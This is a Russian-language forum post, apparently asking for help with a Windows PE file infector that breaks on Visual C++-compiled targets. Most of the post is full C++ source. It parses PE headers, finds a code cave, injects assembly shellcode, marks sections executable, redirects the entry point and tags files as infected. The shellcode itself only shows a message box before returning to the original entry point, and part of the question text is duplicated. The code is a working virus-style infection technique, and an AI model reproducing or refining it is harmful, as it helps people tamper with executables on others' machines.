Я пытаюсь заинъектить исполняемый файл шелкодом. Он просто ищет свободное место для себя а также изменяет поле IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint. В конце шелкод меняет eip на чистый адрес[IMAGE_OPTIONAL_HEADER.AdressOfEntryPoint + IMAGE_OPTIONAL_HEADER.BaseAddress] предыдущей точки входа программы. Все замечательно работает если я не юзаю компилятор Microsoft Visual C++.
Вот что происходит если программа скомпилена с помощью Visual C++:
Когда дело доходит до ret получаю вот это:
Ну и непонятно что и почему, права необходимые есть:
Доп инфо : во вложении сам зараженный exe шник , ну а программа которая заражает:
Infected.h:
main.cpp:
Вот что происходит если программа скомпилена с помощью Visual C++:
Когда дело доходит до ret получаю вот это:
Ну и непонятно что и почему, права необходимые есть:
Доп инфо : во вложении сам зараженный exe шник , ну а программа которая заражает:
Infected.h:
C++:
#pragma once
#include <windows.h>
#include <exception>
#define SHELLCODE_SIZE 65
#define db(x) __asm _emit x
bool isInfected(PIMAGE_DOS_HEADER pidh) {
return ((pidh->e_minalloc == 0x13) && (pidh->e_maxalloc == 0x37));
}
void markAsinfected(PIMAGE_DOS_HEADER pidh) {
pidh->e_minalloc = 0x13;
pidh->e_maxalloc = 0x37;
}
class MappedFile {
private:
HANDLE m_hFile;
HANDLE m_hMapping;
LPBYTE m_lpFile;
public:
MappedFile(LPCWSTR szFileName) {
m_hFile = CreateFileW(szFileName, FILE_ALL_ACCESS,
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (m_hFile == INVALID_HANDLE_VALUE) {
throw std::exception("Can'topen target file");
}
DWORD dwFileSize = GetFileSize(m_hFile, NULL);
m_hMapping = CreateFileMapping(m_hFile,
NULL, PAGE_READWRITE, 0, 0, NULL);
if (m_hMapping == NULL) {
CloseHandle(m_hFile);
throw std::exception("Can't create file mapping");
}
m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize));
if (m_lpFile == NULL) {
CloseHandle(m_hMapping);
CloseHandle(m_hFile);
throw std::exception("Can't map view of file");
}
}
LPBYTE getViewOfFile() {
return m_lpFile;
}
~MappedFile() {
UnmapViewOfFile(m_lpFile);
CloseHandle(m_hMapping);
CloseHandle(m_hFile);
}
};
class PEParser {
private:
LPBYTE m_lpFile;
PIMAGE_DOS_HEADER m_pidh;
PIMAGE_NT_HEADERS m_pinh;
PIMAGE_FILE_HEADER m_pifh;
PIMAGE_OPTIONAL_HEADER m_pioh;
public:
PEParser(LPBYTE lpFile) : m_lpFile(lpFile) {
m_pidh = PIMAGE_DOS_HEADER(lpFile);
if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE) {
throw std::exception("There's not executable file");
}
m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew);
if (m_pinh -> Signature != IMAGE_NT_SIGNATURE) {
throw std::exception("Thre's not executable file!");
}
m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader);
m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader);
}
PIMAGE_DOS_HEADER getDosHeader() {
return m_pidh;
}
PIMAGE_NT_HEADERS getNtHeaders() {
return m_pinh;
}
PIMAGE_FILE_HEADER getFileHeader() {
return m_pifh;
}
PIMAGE_OPTIONAL_HEADER getOptionalHeader() {
return m_pioh;
}
int getNumberOfSections() {
return m_pifh->NumberOfSections;
}
PIMAGE_SECTION_HEADER getSectionHeader(int nSection) {
if (nSection > this->getNumberOfSections()) {
return NULL;
}
return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER) +
m_pifh->SizeOfOptionalHeader + sizeof(IMAGE_SECTION_HEADER) * (nSection - 1));
}
};
typedef struct _CODE_CAVE {
DWORD dwPosition; //смещение до пещеры кода относительно начала файла
PIMAGE_SECTION_HEADER pish; //указатель на секцию с пещерой кода
} CODE_CAVE , *PCODE_CAVE;
CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser) {
CODE_CAVE ccCave;
DWORD dwCount = 0;
ccCave.dwPosition = 0;
ccCave.pish = NULL;
for (int i = 1; i <= ppeParser->getNumberOfSections(); ++i) {
ccCave.pish = ppeParser->getSectionHeader(i);
for (int j = 0; j < ccCave.pish->SizeOfRawData; ++j) {
if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00) {
dwCount++;
if (dwCount == SHELLCODE_SIZE + 1) {
ccCave.dwPosition = j - SHELLCODE_SIZE + ccCave.pish->PointerToRawData + 1;
break;
}
}
else {
dwCount = 0;
}
}
if (ccCave.dwPosition != 0) break;
}
if (dwCount == 0 || ccCave.dwPosition == 0) return CODE_CAVE{ 0 , NULL };
return ccCave;
}
void __declspec(naked) shellcode() {
__asm {
pushad
call routine
routine :
pop ebp
sub ebp , offset routine
push 0x00000010
lea eax, [ebp + szCaption]
push eax
lea eax, [ebp + szText]
push eax
push 0
mov eax, 0xAAAAAAAA
call eax
popad
push 0xAAAAAAAA
ret
szText :
db('I')
db('n')
db('f')
db('e')
db('c')
db('t')
db('e')
db('d')
db('!')
db(0)
szCaption:
db('T')
db('r')
db('u')
db('s')
db('t')
db('e')
db('d')
db(0)
}
}
void modificateShellcode(LPVOID lpShellCode, DWORD dwOEP) {
HMODULE hModule = LoadLibrary(L"user32.dll");
LPVOID lpMessageBoxA = GetProcAddress(hModule, "MessageBoxA");
for (int i = 0; i < SHELLCODE_SIZE; ++i) {
if (*(LPDWORD(lpShellCode) + i) == 0xAAAAAAAA) {
*(LPDWORD(lpShellCode) + i) = DWORD(lpMessageBoxA);
FreeLibrary(hModule);
break;
}
}
for (int i = 0; i < SHELLCODE_SIZE; ++i) {
if (*(LPDWORD(lpShellCode) + i) == 0xAAAAAAAA) {
*(LPDWORD(lpShellCode) + i) = dwOEP;
break;
}
}
}
C++:
#include "Infected.h"
#include <iostream>
int main(int argc, wchar_t** argv, wchar_t** envp) {
MappedFile* pmfTarget;
try {
pmfTarget = new MappedFile(L"C:\\Users\\User\\Desktop\\MyBigTest\\Project1\\Release\\Project1.exe");
}
catch (const std::exception& Exception) {
std::wcout << L"[ERROR] " << Exception.what() << std::endl;
std::wcout << "GetLastError() : " << GetLastError() << std::endl;
return 1;
}
LPBYTE lpFile = pmfTarget->getViewOfFile();
PEParser* ppeParser;
try {
ppeParser = new PEParser(lpFile);
}
catch (const std::exception& e) {
std::wcout << L"[ERROR] " << e.what() << std::endl;
std::wcout << "GetLastError() : " << GetLastError() << std::endl;
delete pmfTarget;
return 1;
}
PIMAGE_DOS_HEADER pidh = ppeParser->getDosHeader();
PIMAGE_NT_HEADERS pinh = ppeParser->getNtHeaders();
PIMAGE_FILE_HEADER pifh = ppeParser->getFileHeader();
PIMAGE_OPTIONAL_HEADER pioh = ppeParser->getOptionalHeader();
DWORD dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;
if (isInfected(pidh)) {
std::wcout << L"File alredy infected!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0)) {
std::wcout << L"[ERROR] Can't find code cave!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
PIMAGE_SECTION_HEADER pish = ccCave.pish;
DWORD dwPosition = ccCave.dwPosition;
LPVOID lpShellCode = new char[SHELLCODE_SIZE];
RtlSecureZeroMemory(lpShellCode, SHELLCODE_SIZE);
memcpy(lpShellCode, shellcode, SHELLCODE_SIZE);
std::cout << "Previus entry point[dwOEP =pioh->AddressOfEntryPoint + pioh->ImageBase] : " << std::hex << dwOEP << std::endl;
modificateShellcode(lpShellCode, dwOEP);
memcpy(LPBYTE(lpFile + dwPosition), lpShellCode, SHELLCODE_SIZE);
pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
markAsinfected(pidh);
std::wcout << L"[SUCCESS] File successfuly infected!" << std::endl;
delete[] lpShellCode;
delete ppeParser;
delete pmfTarget;
return 0;
}